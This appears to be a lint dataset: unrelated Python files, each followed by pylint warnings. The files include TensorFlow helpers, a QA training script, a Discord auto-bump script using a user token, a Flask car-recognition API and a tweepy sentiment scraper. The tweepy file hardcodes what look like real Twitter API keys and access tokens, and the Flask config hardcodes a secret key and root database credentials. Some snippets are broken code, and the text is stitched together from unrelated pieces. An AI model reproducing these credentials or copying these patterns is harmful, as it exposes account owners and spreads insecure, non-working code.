56 out = reconstruct(flat_out, args[0], 1)
57
58 if squeeze:
59 out = tf.squeeze(out, [len(args[0].get_shape().as_list())-1])
60 if wd:
61 add_wd(wd)
62
63 return out
64
65 def softmax(logits, mask=None, scope=None):
66 with tf.name_scope(scope or "Softmax"):
67 if mask is not None:
68 logits = exp_mask(logits, mask)
69 flat_logits = flatten(logits, 1)
70 flat_out = tf.nn.softmax(flat_logits)
71 out = reconstruct(flat_out, logits, 1)
72
73 return out
74
75
76 def softsel(target, logits, mask=None, scope=None):
77 """
78
79 :param target: [ ..., J, d] dtype=float
80 :param logits: [ ..., J], dtype=float
81 :param mask: [ ..., J], dtype=bool
82 :param scope:
83 :return: [..., d], dtype=float
84 """
85 with tf.name_scope(scope or "Softsel"):
86 a = softmax(logits, mask = mask)
87 target_rank = len(target.get_shape().as_list())
88 out = tf.reduce_sum(tf.expand_dims(a, -1) * target, target_rank - 2)
89 return out
90
91 def highway_layer(arg, bias, bias_start=0.0, scope=None, wd=0.0, input_keep_prob=1.0):
92 with tf.variable_scope(scope or "highway_layer"):
93 d = arg.get_shape()[-1]
94 trans = linear([arg], d, bias, bias_start=bias_start, scope='trans', wd=wd, input_keep_prob=input_keep_prob)
95 trans = tf.nn.relu(trans)
96 gate = linear([arg], d, bias, bias_start=bias_start, scope='gate', wd=wd, input_keep_prob=input_keep_prob)
97 gate = tf.nn.sigmoid(gate)
98 out = gate * trans + (1 - gate) * arg
99 return out
100
101
102 def highway_network(arg, num_layers, bias, bias_start=0.0, scope=None, wd=0.0, input_keep_prob=1.0):
103 with tf.variable_scope(scope or "highway_network"):
104 prev = arg
105 cur = None
106 for layer_idx in range(num_layers):
107 cur = highway_layer(prev, bias, bias_start=bias_start, scope="layer_{}".format(layer_idx), wd=wd,
108 input_keep_prob=input_keep_prob)
109 prev = cur
110 return cur
111
112 def conv1d(in_, filter_size, height, padding, keep_prob=1.0, scope=None):
113 with tf.variable_scope(scope or "conv1d"):
114 num_channels = in_.get_shape()[-1]
115 filter_ = tf.get_variable("filter", shape=[1, height, num_channels, filter_size], dtype='float')
116 bias = tf.get_variable("bias", shape=[filter_size], dtype='float')
117 strides = [1, 1, 1, 1]
118 in_ = tf.nn.dropout(in_, keep_prob)
119 xxc = tf.nn.conv2d(in_, filter_, strides, padding) + bias # [N*M, JX, W/filter_stride, d]
120 out = tf.reduce_max(tf.nn.relu(xxc), 2) # [-1, JX, d]
121 return out
122
123
124 def multi_conv1d(in_, filter_sizes, heights, padding, keep_prob=1.0, scope=None):
125 with tf.variable_scope(scope or "multi_conv1d"):
126 assert len(filter_sizes) == len(heights)
127 outs = []
128 for filter_size, height in zip(filter_sizes, heights):
129 if filter_size == 0:
130 continue
131 out = conv1d(in_, filter_size, height, padding, keep_prob=keep_prob, scope="conv1d_{}".format(height))
132 outs.append(out)
133 concat_out = tf.concat(outs, axis=2)
134 return concat_out
135
136
137 if __name__ == '__main__':
138 a = tf.Variable(np.random.random(size=(2,2,4)))
139 b = tf.Variable(np.random.random(size=(2,3,4)))
140 c = tf.tile(tf.expand_dims(a, 2), [1, 1, 3, 1])
141 test = flatten(c,1)
142 out = reconstruct(test, c, 1)
143 d = tf.tile(tf.expand_dims(b, 1), [1, 2, 1, 1])
144 e = linear([c,d,c*d],1,bias = False,scope = "test",)
145 # f = softsel(d, e)
146 with tf.Session() as sess:
147 tf.global_variables_initializer().run()
148 print(sess.run(test))
149 print(sess.run(tf.shape(out)))
150 exit()
151 print(sess.run(tf.shape(a)))
152 print(sess.run(a))
153 print(sess.run(tf.shape(b)))
154 print(sess.run(b))
155 print(sess.run(tf.shape(c)))
156 print(sess.run(c))
157 print(sess.run(tf.shape(d)))
158 print(sess.run(d))
159 print(sess.run(tf.shape(e)))
160 print(sess.run(e))
| 11 - refactor: too-many-arguments
11 - refactor: too-many-positional-arguments
11 - refactor: too-many-locals
56 - warning: redefined-outer-name
29 - refactor: no-else-raise
12 - warning: unused-argument
71 - warning: redefined-outer-name
86 - warning: redefined-outer-name
88 - warning: redefined-outer-name
91 - refactor: too-many-arguments
91 - refactor: too-many-positional-arguments
93 - warning: redefined-outer-name
98 - warning: redefined-outer-name
102 - refactor: too-many-arguments
102 - refactor: too-many-positional-arguments
112 - refactor: too-many-arguments
112 - refactor: too-many-positional-arguments
120 - warning: redefined-outer-name
124 - refactor: too-many-arguments
124 - refactor: too-many-positional-arguments
131 - warning: redefined-outer-name
151 - warning: unreachable
150 - refactor: consider-using-sys-exit
|
1 from tensorflow import flags
2 import tensorflow as tf
3 from config import Singleton
4 import data_helper
5
6 import datetime,os
7
8 import models
9 import numpy as np
10 import evaluation
11
12 import sys
13 import logging
14
15 import time
16 now = int(time.time())
17 timeArray = time.localtime(now)
18 timeStamp = time.strftime("%Y%m%d%H%M%S", timeArray)
19 log_filename = "log/" +time.strftime("%Y%m%d", timeArray)
20
21 program = os.path.basename('program')
22 logger = logging.getLogger(program)
23 if not os.path.exists(log_filename):
24 os.makedirs(log_filename)
25 logging.basicConfig(format='%(asctime)s: %(levelname)s: %(message)s',datefmt='%a, %d %b %Y %H:%M:%S',filename=log_filename+'/qa.log',filemode='w')
26 logging.root.setLevel(level=logging.INFO)
27 logger.info("running %s" % ' '.join(sys.argv))
28
29
30
31 from data_helper import log_time_delta,getLogger
32
33 logger=getLogger()
34
35
36
37
38 args = Singleton().get_qcnn_flag()
39
40 args._parse_flags()
41 opts=dict()
42 logger.info("\nParameters:")
43 for attr, value in sorted(args.__flags.items()):
44 logger.info(("{}={}".format(attr.upper(), value)))
45 opts[attr]=value
46
47
48 train,test,dev = data_helper.load(args.data,filter = args.clean)
49
50 q_max_sent_length = max(map(lambda x:len(x),train['question'].str.split()))
51 a_max_sent_length = max(map(lambda x:len(x),train['answer'].str.split()))
52
53 alphabet = data_helper.get_alphabet([train,test,dev],dataset=args.data )
54 logger.info('the number of words :%d '%len(alphabet))
55
56 if args.data=="quora" or args.data=="8008" :
57 print("cn embedding")
58 embedding = data_helper.get_embedding(alphabet,dim=200,language="cn",dataset=args.data )
59 train_data_loader = data_helper.getBatch48008
60 else:
61 embedding = data_helper.get_embedding(alphabet,dim=300,dataset=args.data )
62 train_data_loader = data_helper.get_mini_batch
63 opts["embeddings"] =embedding
64 opts["vocab_size"]=len(alphabet)
65 opts["max_input_right"]=a_max_sent_length
66 opts["max_input_left"]=q_max_sent_length
67 opts["filter_sizes"]=list(map(int, args.filter_sizes.split(",")))
68
69 print("innitilize over")
70
71
72
73
74 #with tf.Graph().as_default(), tf.device("/gpu:" + str(args.gpu)):
75 with tf.Graph().as_default():
76 # with tf.device("/cpu:0"):
77 session_conf = tf.ConfigProto()
78 session_conf.allow_soft_placement = args.allow_soft_placement
79 session_conf.log_device_placement = args.log_device_placement
80 session_conf.gpu_options.allow_growth = True
81 sess = tf.Session(config=session_conf)
82 model=models.setup(opts)
83 model.build_graph()
84 saver = tf.train.Saver()
85
86 # ckpt = tf.train.get_checkpoint_state("checkpoint")
87 # if ckpt and ckpt.model_checkpoint_path:
88 # # Restores from checkpoint
89 # saver.restore(sess, ckpt.model_checkpoint_path)
90 # if os.path.exists("model") :
91 # import shutil
92 # shutil.rmtree("model")
93 # builder = tf.saved_model.builder.SavedModelBuilder("./model")
94 # builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING])
95 # builder.save(True)
96 # variable_averages = tf.train.ExponentialMovingAverage( model)
97 # variables_to_restore = variable_averages.variables_to_restore()
98 # saver = tf.train.Saver(variables_to_restore)
99 # for name in variables_to_restore:
100 # print(name)
101
102 sess.run(tf.global_variables_initializer())
103 @log_time_delta
104 def predict(model,sess,batch,test):
105 scores = []
106 for data in batch:
107 score = model.predict(sess,data)
108 scores.extend(score)
109 return np.array(scores[:len(test)])
110
111 best_p1=0
112
113
114
115
116 for i in range(args.num_epoches):
117
118 for data in train_data_loader(train,alphabet,args.batch_size,model=model,sess=sess):
119 # for data in data_helper.getBatch48008(train,alphabet,args.batch_size):
120 _, summary, step, loss, accuracy,score12, score13, see = model.train(sess,data)
121 time_str = datetime.datetime.now().isoformat()
122 print("{}: step {}, loss {:g}, acc {:g} ,positive {:g},negative {:g}".format(time_str, step, loss, accuracy,np.mean(score12),np.mean(score13)))
123 logger.info("{}: step {}, loss {:g}, acc {:g} ,positive {:g},negative {:g}".format(time_str, step, loss, accuracy,np.mean(score12),np.mean(score13)))
124 #<<<<<<< HEAD
125 #
126 #
127 # if i>0 and i % 5 ==0:
128 # test_datas = data_helper.get_mini_batch_test(test,alphabet,args.batch_size)
129 #
130 # predicted_test = predict(model,sess,test_datas,test)
131 # map_mrr_test = evaluation.evaluationBypandas(test,predicted_test)
132 #
133 # logger.info('map_mrr test' +str(map_mrr_test))
134 # print('map_mrr test' +str(map_mrr_test))
135 #
136 # test_datas = data_helper.get_mini_batch_test(dev,alphabet,args.batch_size)
137 # predicted_test = predict(model,sess,test_datas,dev)
138 # map_mrr_test = evaluation.evaluationBypandas(dev,predicted_test)
139 #
140 # logger.info('map_mrr dev' +str(map_mrr_test))
141 # print('map_mrr dev' +str(map_mrr_test))
142 # map,mrr,p1 = map_mrr_test
143 # if p1>best_p1:
144 # best_p1=p1
145 # filename= "checkpoint/"+args.data+"_"+str(p1)+".model"
146 # save_path = saver.save(sess, filename)
147 # # load_path = saver.restore(sess, model_path)
148 #
149 # import shutil
150 # shutil.rmtree("model")
151 # builder = tf.saved_model.builder.SavedModelBuilder("./model")
152 # builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING])
153 # builder.save(True)
154 #
155 #
156 #=======
157
158 test_datas = data_helper.get_mini_batch_test(test,alphabet,args.batch_size)
159
160 predicted_test = predict(model,sess,test_datas,test)
161 map_mrr_test = evaluation.evaluationBypandas(test,predicted_test)
162
163 logger.info('map_mrr test' +str(map_mrr_test))
164 print('epoch '+ str(i) + 'map_mrr test' +str(map_mrr_test))
165
| 27 - warning: logging-not-lazy
40 - warning: protected-access
41 - refactor: use-dict-literal
43 - warning: protected-access
50 - warning: unnecessary-lambda
51 - warning: unnecessary-lambda
56 - refactor: consider-using-in
104 - warning: redefined-outer-name
104 - warning: redefined-outer-name
104 - warning: redefined-outer-name
106 - warning: redefined-outer-name
1 - warning: unused-import
|
1 # For this solution I'm using TextBlob, using it's integration with WordNet.
2
3 from textblob import TextBlob
4 from textblob import Word
5 from textblob.wordnet import VERB
6 import nltk
7 import os
8 import sys
9 import re
10 import json
11
12 results = { "results" : [] }
13
14 #Override NLTK data path to use the one I uploaded in the folder
15 dir_path = os.path.dirname(os.path.realpath(__file__))
16 nltk_path = dir_path + os.path.sep + "nltk_data"
17 nltk.data.path= [nltk_path]
18
19 #Text to analyze
20 TEXT = """
21 Take this paragraph of text and return an alphabetized list of ALL unique words. A unique word is any form of a word often communicated
22 with essentially the same meaning. For example,
23 fish and fishes could be defined as a unique word by using their stem fish. For each unique word found in this entire paragraph,
24 determine the how many times the word appears in total.
25 Also, provide an analysis of what sentence index position or positions the word is found.
26 The following words should not be included in your analysis or result set: "a", "the", "and", "of", "in", "be", "also" and "as".
27 Your final result MUST be displayed in a readable console output in the same format as the JSON sample object shown below.
28 """
29 TEXT = TEXT.lower()
30
31 WORDS_NOT_TO_CONSIDER = ["a", "the", "and", "of", "in", "be", "also", "as"]
32 nlpText= TextBlob(TEXT)
33
34 def getSentenceIndexesForWord(word, sentences):
35 sentenceIndexes = []
36 for index, sentence in enumerate(sentences):
37 count = sum(1 for _ in re.finditer(r'\b%s\b' % re.escape(word.lower()), sentence))
38 if count > 0:
39 sentenceIndexes.append(index)
40 return sentenceIndexes
41
42 #1: Get all words, excluding repetitions and all the sentences in the text
43 nlpTextWords = sorted(set(nlpText.words))
44 nlpTextSentences = nlpText.raw_sentences
45
46 #2 Get results
47 synonymsList = []
48 allreadyReadWords = []
49 for word in nlpTextWords:
50 if word not in WORDS_NOT_TO_CONSIDER and word not in allreadyReadWords:
51 timesInText = nlpText.word_counts[word]
52
53 #Get sentence indexes where the word can be found
54 sentenceIndexes = getSentenceIndexesForWord(word, nlpTextSentences)
55
56 #Check for synonyms
57 for word2 in nlpTextWords:
58 if word2 not in WORDS_NOT_TO_CONSIDER and ( word.lower() != word2.lower() and len(list(set(word.synsets) & set(word2.synsets))) > 0 ):
59 #If I find a synonym of the word I add it to the list of words allready read and add the times that synonym appeared in the text to the total
60 #count of the unique word and the corresponding sentence indexes
61 allreadyReadWords.append(word2)
62 timesInText = timesInText + nlpText.word_counts[word2]
63 sentenceIndexes += getSentenceIndexesForWord(word2,nlpTextSentences)
64
65 allreadyReadWords.append(word)
66
67 results["results"].append({"word" : word.lemmatize(), #I return the lemma of the word because TextBlob's stems seem to be wrong for certain words
68 "total-occurances": timesInText,
69 "sentence-indexes": sorted(set(sentenceIndexes))})
70
71 print(json.dumps(results, indent=4))
72
73
74
| 34 - warning: redefined-outer-name
35 - warning: redefined-outer-name
4 - warning: unused-import
5 - warning: unused-import
8 - warning: unused-import
|
1 import requests
2 import time
3
4 token = "TOKEN"
5
6 headers = {
7 'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7',
8 'Authorization' : token
9 }
10
11 id = input(f"[?] Salon ID: ")
12 print("")
13
14 while True:
15 requests.post(
16 f"https://discord.com/api/channels/{id}/messages",
17 headers = headers,
18 json = {"content" : "!d bump"}
19 )
20 print("[+] Serveur Bumpé")
21 time.sleep(121 * 60) | 11 - warning: redefined-builtin
11 - warning: f-string-without-interpolation
15 - warning: missing-timeout
|
1 # Madis Settings
2 MADIS_PATH='/Users/alexiatopalidou/Desktop/erg/madis/src'
3
4 # Webserver Settings
5 # IMPORTANT: The port must be available.
6 web_port = 9090 # must be integer (this is wrong:'9090')
| Clean Code: No Issues Detected
|
1 # -*- coding: utf-8 -*-
2 import os
3 import Queue
4 import random
5 from functools import wraps
6
7 import arrow
8 from flask import g, request
9 from flask_restful import reqparse, Resource
10 from passlib.hash import sha256_crypt
11 from itsdangerous import TimedJSONWebSignatureSerializer as Serializer
12
13 from car_recg import app, db, api, auth, limiter, logger, access_logger
14 from models import Users, Scope
15 import helper
16
17
18 def verify_addr(f):
19 """IP地址白名单"""
20 @wraps(f)
21 def decorated_function(*args, **kwargs):
22 if not app.config['WHITE_LIST_OPEN'] or request.remote_addr == '127.0.0.1' or request.remote_addr in app.config['WHITE_LIST']:
23 pass
24 else:
25 return {'status': '403.6',
26 'message': u'禁止访问:客户端的 IP 地址被拒绝'}, 403
27 return f(*args, **kwargs)
28 return decorated_function
29
30
31 @auth.verify_password
32 def verify_password(username, password):
33 if username.lower() == 'admin':
34 user = Users.query.filter_by(username='admin').first()
35 else:
36 return False
37 if user:
38 return sha256_crypt.verify(password, user.password)
39 return False
40
41
42 def verify_token(f):
43 """token验证装饰器"""
44 @wraps(f)
45 def decorated_function(*args, **kwargs):
46 if not request.headers.get('Access-Token'):
47 return {'status': '401.6', 'message': 'missing token header'}, 401
48 token_result = verify_auth_token(request.headers['Access-Token'],
49 app.config['SECRET_KEY'])
50 if not token_result:
51 return {'status': '401.7', 'message': 'invalid token'}, 401
52 elif token_result == 'expired':
53 return {'status': '401.8', 'message': 'token expired'}, 401
54 g.uid = token_result['uid']
55 g.scope = set(token_result['scope'])
56
57 return f(*args, **kwargs)
58 return decorated_function
59
60
61 def verify_scope(scope):
62 def scope(f):
63 """权限范围验证装饰器"""
64 @wraps(f)
65 def decorated_function(*args, **kwargs):
66 if 'all' in g.scope or scope in g.scope:
67 return f(*args, **kwargs)
68 else:
69 return {}, 405
70 return decorated_function
71 return scope
72
73
74 class Index(Resource):
75
76 def get(self):
77 return {
78 'user_url': '%suser{/user_id}' % (request.url_root),
79 'scope_url': '%suser/scope' % (request.url_root),
80 'token_url': '%stoken' % (request.url_root),
81 'recg_url': '%sv1/recg' % (request.url_root),
82 'uploadrecg_url': '%sv1/uploadrecg' % (request.url_root),
83 'state_url': '%sv1/state' % (request.url_root)
84 }, 200, {'Cache-Control': 'public, max-age=60, s-maxage=60'}
85
86
87 class RecgListApiV1(Resource):
88
89 def post(self):
90 parser = reqparse.RequestParser()
91
92 parser.add_argument('imgurl', type=unicode, required=True,
93 help='A jpg url is require', location='json')
94 parser.add_argument('coord', type=list, required=True,
95 help='A coordinates array is require',
96 location='json')
97 args = parser.parse_args()
98
99 # 回调用的消息队列
100 que = Queue.Queue()
101
102 if app.config['RECGQUE'].qsize() > app.config['MAXSIZE']:
103 return {'message': 'Server Is Busy'}, 449
104
105 imgname = '%32x' % random.getrandbits(128)
106 imgpath = os.path.join(app.config['IMG_PATH'], '%s.jpg' % imgname)
107 try:
108 helper.get_url_img(request.json['imgurl'], imgpath)
109 except Exception as e:
110 logger.error('Error url: %s' % request.json['imgurl'])
111 return {'message': 'URL Error'}, 400
112
113 app.config['RECGQUE'].put((10, request.json, que, imgpath))
114
115 try:
116 recginfo = que.get(timeout=15)
117
118 os.remove(imgpath)
119 except Queue.Empty:
120 return {'message': 'Timeout'}, 408
121 except Exception as e:
122 logger.error(e)
123 else:
124 return {
125 'imgurl': request.json['imgurl'],
126 'coord': request.json['coord'],
127 'recginfo': recginfo
128 }, 201
129
130
131 class StateListApiV1(Resource):
132
133 def get(self):
134 return {
135 'threads': app.config['THREADS'],
136 'qsize': app.config['RECGQUE'].qsize()
137 }
138
139
140 class UploadRecgListApiV1(Resource):
141
142 def post(self):
143 # 文件夹路径 string
144 filepath = os.path.join(app.config['UPLOAD_PATH'],
145 arrow.now().format('YYYYMMDD'))
146 if not os.path.exists(filepath):
147 os.makedirs(filepath)
148 try:
149 # 上传文件命名 随机32位16进制字符 string
150 imgname = '%32x' % random.getrandbits(128)
151 # 文件绝对路径 string
152 imgpath = os.path.join(filepath, '%s.jpg' % imgname)
153 f = request.files['file']
154 f.save(imgpath)
155 except Exception as e:
156 logger.error(e)
157 return {'message': 'File error'}, 400
158
159 # 回调用的消息队列 object
160 que = Queue.Queue()
161 # 识别参数字典 dict
162 r = {'coord': []}
163 app.config['RECGQUE'].put((9, r, que, imgpath))
164 try:
165 recginfo = que.get(timeout=app.config['TIMEOUT'])
166 except Queue.Empty:
167 return {'message': 'Timeout'}, 408
168 except Exception as e:
169 logger.error(e)
170 else:
171 return {'coord': r['coord'], 'recginfo': recginfo}, 201
172
173 api.add_resource(Index, '/')
174 api.add_resource(RecgListApiV1, '/v1/recg')
175 api.add_resource(StateListApiV1, '/v1/state')
176 api.add_resource(UploadRecgListApiV1, '/v1/uploadrecg')
| 26 - warning: redundant-u-string-prefix
48 - error: undefined-variable
50 - refactor: no-else-return
62 - error: function-redefined
66 - refactor: no-else-return
74 - refactor: too-few-public-methods
92 - error: undefined-variable
109 - warning: broad-exception-caught
121 - warning: broad-exception-caught
89 - refactor: inconsistent-return-statements
97 - warning: unused-variable
109 - warning: unused-variable
87 - refactor: too-few-public-methods
131 - refactor: too-few-public-methods
155 - warning: broad-exception-caught
168 - warning: broad-exception-caught
142 - refactor: inconsistent-return-statements
140 - refactor: too-few-public-methods
11 - warning: unused-import
13 - warning: unused-import
13 - warning: unused-import
13 - warning: unused-import
14 - warning: unused-import
|
1 # -*- coding: utf-8 -*-
2 import Queue
3
4
5 class Config(object):
6 # 密码 string
7 SECRET_KEY = 'hellokitty'
8 # 服务器名称 string
9 HEADER_SERVER = 'SX-CarRecgServer'
10 # 加密次数 int
11 ROUNDS = 123456
12 # token生存周期，默认1小时 int
13 EXPIRES = 7200
14 # 数据库连接 string
15 SQLALCHEMY_DATABASE_URI = 'mysql://root:root@127.0.0.1/hbc_store'
16 # 数据库连接绑定 dict
17 SQLALCHEMY_BINDS = {}
18 # 用户权限范围 dict
19 SCOPE_USER = {}
20 # 白名单启用 bool
21 WHITE_LIST_OPEN = True
22 # 白名单列表 set
23 WHITE_LIST = set()
24 # 处理线程数 int
25 THREADS = 4
26 # 允许最大数队列为线程数16倍 int
27 MAXSIZE = THREADS * 16
28 # 图片下载文件夹 string
29 IMG_PATH = 'img'
30 # 图片截取文件夹 string
31 CROP_PATH = 'crop'
32 # 超时 int
33 TIMEOUT = 5
34 # 识别优先队列 object
35 RECGQUE = Queue.PriorityQueue()
36 # 退出标记 bool
37 IS_QUIT = False
38 # 用户字典 dict
39 USER = {}
40 # 上传文件保存路径 string
41 UPLOAD_PATH = 'upload'
42
43
44 class Develop(Config):
45 DEBUG = True
46
47
48 class Production(Config):
49 DEBUG = False
50
51
52 class Testing(Config):
53 TESTING = True
| 5 - refactor: useless-object-inheritance
5 - refactor: too-few-public-methods
44 - refactor: too-few-public-methods
48 - refactor: too-few-public-methods
52 - refactor: too-few-public-methods
|
1 from car_recg import app
2 from car_recg.recg_ser import RecgServer
3 from ini_conf import MyIni
4
5 if __name__ == '__main__':
6 rs = RecgServer()
7 rs.main()
8 my_ini = MyIni()
9 sys_ini = my_ini.get_sys_conf()
10 app.config['THREADS'] = sys_ini['threads']
11 app.config['MAXSIZE'] = sys_ini['threads'] * 16
12 app.run(host='0.0.0.0', port=sys_ini['port'], threaded=True)
13 del rs
14 del my_ini
| Clean Code: No Issues Detected
|
1 '''
2 Input- zoho123
3 Output- ohoz123
4
5 '''
6 char= input("Enter the string: ")
7 char2= list(char)
8 num= "1234567890"
9 list1= [0]*len(char)
10 list2=[]
11 for i in range(len(char)):
12 if char2[i] not in num:
13 list2.append( char2.index( char2[i]))
14 char2[i]= "*"
15 list2.reverse()
16 k=0
17 for j in range( len(char) ):
18 if j in list2:
19 list1[j]= char[list2[k]]
20 k= k+1
21 else:
22 list1[j]= char[j]
23 ch=""
24 for l in range(len(list1)):
25 ch= ch+ list1[l]
26 print(ch)
| Clean Code: No Issues Detected
|
1 import os
2 import sys
3 import argparse
4 from PIL import Image # From Pillow (pip install Pillow)
5
6 def resize_photos(dir, new_x, new_y, scale):
7 if(not os.path.exists(dir)):
8 # if not in full path format (/usrers/user/....)
9 # check if path is in local format (folder is in current working directory)
10 if(not os.path.exists(os.path.join(os.getcwd(), dir))):
11 print(dir + " does not exist.")
12 exit()
13 else:
14 # path is not a full path, but folder exists in current working directory
15 # convert path to full path
16 dir = os.path.join(os.getcwd(), dir)
17
18 i = 1 # image counter for print statements
19 for f in os.listdir(dir):
20 if(not f.startswith('.') and '.' in f):
21 # accepted image types. add more types if you need to support them!
22 accepted_types = ["jpg", "png", "bmp"]
23 if(f[-3:].lower() in accepted_types):
24 # checks last 3 letters of file name to check file type (png, jpg, bmp...)
25 # TODO: need to handle filetypes of more than 3 letters (for example, jpeg)
26 path = os.path.join(dir, f)
27 img = Image.open(path)
28
29 if(scale > 0):
30 w, h = img.size
31 newIm = img.resize((w*scale, h*scale))
32 else:
33 newIm = img.resize((new_x, new_y))
34
35 newIm.save(path)
36 print("Image #" + str(i) + " finsihed resizing: " + path)
37 i=i+1
38 else:
39 print(f + " of type: " + f[-3:].lower() + " is not an accepted file type. Skipping.")
40 print("ALL DONE :) Resized: " + str(i) + " photos")
41
42 if __name__ == "__main__":
43 parser = argparse.ArgumentParser()
44 parser.add_argument("-d", "-directory", help="(String) Specify the folder path of images to resize")
45 parser.add_argument("-s", "-size", help="(Integer) New pixel value of both width and height. To specify width and height seperately, use -x and -y.")
46 parser.add_argument("-x", "-width", help="(Integer) New pixel value of width")
47 parser.add_argument("-y", "-height", help="(Integer) New pixel value of height")
48 parser.add_argument("-t", "-scale", help="(Integer) Scales pixel sizes.")
49
50 args = parser.parse_args()
51
52 if(not args.d or ((not args.s) and (not args.x and not args.y) and (not args.t))):
53 print("You have error(s)...\n")
54 if(not args.d):
55 print("+ DIRECTORY value missing Please provide a path to the folder of images using the argument '-d'\n")
56 if((not args.s) and (not args.x or not args.y) and (not args.t)):
57 print("+ SIZE value(s) missing! Please provide a new pixel size. Do this by specifying -s (width and height) OR -x (width) and -y (height) values OR -t (scale) value")
58 exit()
59
60 x = 0
61 y = 0
62 scale = 0
63 if(args.s):
64 x = int(args.s)
65 y = int(args.s)
66 elif(args.x and args.y):
67 x = int(args.x)
68 y = int(args.y)
69 elif(args.t):
70 scale = int(args.t)
71
72 print("Resizing all photos in: " + args.d + " to size: " + str(x)+"px,"+str(y)+"px")
73 resize_photos(args.d, x, y, scale)
| 25 - warning: fixme
6 - warning: redefined-builtin
6 - warning: redefined-outer-name
12 - refactor: consider-using-sys-exit
58 - refactor: consider-using-sys-exit
2 - warning: unused-import
|
1 import tweepy
2 import csv
3 import pandas as pd
4 from textblob import TextBlob
5 import matplotlib.pyplot as plt
6
7 ####input your credentials here
8 consumer_key = 'FgCG8zcxF4oINeuAqUYzOw9xh'
9 consumer_secret = 'SrSu7WhrYUpMZnHw7a5ui92rUA1n2jXNoZVb3nJ5wEsXC5xlN9'
10 access_token = '975924102190874624-uk5zGlYRwItkj7pZO2m89NefRm5DFLg'
11 access_token_secret = 'ChvmTjG8hl61xUrXkk3AdKcXMlvAKf4ise1kIQLKsnPu4'
12
13 auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
14 auth.set_access_token(access_token, access_token_secret)
15 api = tweepy.API(auth,wait_on_rate_limit=True)
16
17 # Open/Create a file to append data
18 csvFile = open('tweets.csv', 'w+')
19 # Use csv Writer
20 csvWriter = csv.writer(csvFile)
21 tag = "#DonaldTrump"
22 limit = 0
23 res = ""
24 positive = 0
25 negative = 0
26 neutral = 0
27 csvWriter.writerow(["ID", "Username", "Twitter @", "Tweet","Tweeted At", "Favourite Count", "Retweet Count", "Sentiment"])
28 csvWriter.writerow([])
29
30 for tweet in tweepy.Cursor(api.search,q=""+tag,count=350,lang="en",tweet_mode = "extended").items():
31 # print (tweet.created_at, tweet.text)
32 temp = tweet.full_text
33 if temp.startswith('RT @'):
34 continue
35 blob = TextBlob(tweet.full_text)
36 if blob.sentiment.polarity > 0:
37 res = "Positive"
38 positive = positive+1
39 elif blob.sentiment.polarity == 0:
40 res = "Neutral"
41 neutral = neutral+1
42 else:
43 res = "Negative"
44 negative = negative+1
45
46
47 print ("ID:", tweet.id)
48 print ("User ID:", tweet.user.id)
49 print ("Name: ", tweet.user.name)
50 print ("Twitter @:", tweet.user.screen_name)
51 print ("Text:", tweet.full_text)
52 print ("Tweet length:", len(tweet.full_text))
53 print ("Created:(UTC)", tweet.created_at)
54 print ("Favorite Count:", tweet.favorite_count)
55 print ("Retweet count:", tweet.retweet_count)
56 print ("Sentiment:", res)
57 # print ("Retweeted? :", tweet.retweeted)
58 # print ("Truncated:", tweet.truncated)
59 print ("\n\n")
60
61 csvWriter.writerow([tweet.id, tweet.user.name, tweet.user.screen_name, tweet.full_text,tweet.created_at, tweet.favorite_count, tweet.retweet_count, res])
62 csvWriter.writerow([])
63 limit = limit + 1
64 if limit == 25:
65 break
66
67 print ("Done")
68
69 print ("\n\n\n")
70 total = positive+negative+neutral
71 positivePercent = 100*(positive/total)
72 negativePercent = 100*(negative/total)
73 neutralPercent = 100*(neutral/total)
74
75 print ("Positive tweets: {} %".format(positivePercent))
76 print ("Negative tweets: {} %".format(negativePercent))
77 print ("Neutral tweets: {} %".format(neutralPercent))
78
79
80
81 # infile = 'tweets.csv'
82
83 # with open(infile, 'r') as csvfile:
84 # rows = csv.reader(csvfile)
85 # for row in rows:
86 # sentence = row[3]
87 # blob = TextBlob(sentence)
88 # print (blob.sentiment)
89
90
91 labels = 'Neutral', 'Positive', 'Negative'
92 sizes = []
93 sizes.append(neutralPercent)
94 sizes.append(positivePercent)
95 sizes.append(negativePercent)
96 colors = ['lightskyblue','yellowgreen', 'lightcoral']
97 explode = (0.0, 0, 0) # explode 1st slice
98
99 # Plot
100 plt.pie(sizes, explode=explode, labels=labels, colors=colors,
101 autopct='%1.1f%%', shadow=False, startangle=140)
102 plt.suptitle("Sentiment Analysis of {} tweets related to {}".format(limit, tag))
103 plt.axis('equal')
104 plt.show()
105
| 34 - warning: bad-indentation
65 - warning: bad-indentation
18 - warning: unspecified-encoding
18 - refactor: consider-using-with
3 - warning: unused-import
|
1 from flask import Flask, render_template, request
2 from test import mining
3 app = Flask(__name__)
4
5 @app.route('/')
6 def index():
7 return render_template('hello.html')
8
9
10 @app.route('/', methods=['GET', 'POST'])
11 def submit():
12 if request.method == 'POST':
13 print (request.form) # debug line, see data printed below
14 tag = request.form['tag']
15 limit = request.form['limit']
16 # msg = tag+" "+limit
17 sen_list = mining(tag,limit)
18 msg = "Positive Percent = "+sen_list[0]+"% <br>Negative Percent = "+sen_list[1]+"% <br>Neutral Percent = "+sen_list[2]+"%"
19 return ""+msg
20
21 if __name__ == '__main__':
22 app.run(debug = True)
23
24 print("This") | 7 - warning: bad-indentation
12 - warning: bad-indentation
13 - warning: bad-indentation
14 - warning: bad-indentation
15 - warning: bad-indentation
17 - warning: bad-indentation
18 - warning: bad-indentation
19 - warning: bad-indentation
22 - warning: bad-indentation
2 - error: no-name-in-module
19 - error: possibly-used-before-assignment
|
1 import csv
2 csvFile = open('res.csv', 'w+') | 2 - warning: unspecified-encoding
2 - refactor: consider-using-with
1 - warning: unused-import
|
1 #!/usr/bin/env python
2
3 print ("some output")
4 return "hello" | 4 - error: return-outside-function
|
1 import matplotlib.pyplot as plt
2
3 # Data to plot
4 labels = 'Neutral', 'Positive', 'Negative'
5 sizes = [20, 40, 40]
6 colors = ['lightskyblue','yellowgreen', 'lightcoral']
7 explode = (0.0, 0, 0) # explode 1st slice
8
9 # Plot
10 plt.pie(sizes, explode=explode, labels=labels, colors=colors,
11 autopct='%1.1f%%', shadow=True, startangle=140)
12
13 plt.axis('equal')
14 # plt.title('Sentiment analysis')
15 plt.suptitle('Analysing n tweets related to #')
16 plt.show() | Clean Code: No Issues Detected
|
1 import tweepy
2 import csv
3 import pandas as pd
4
5
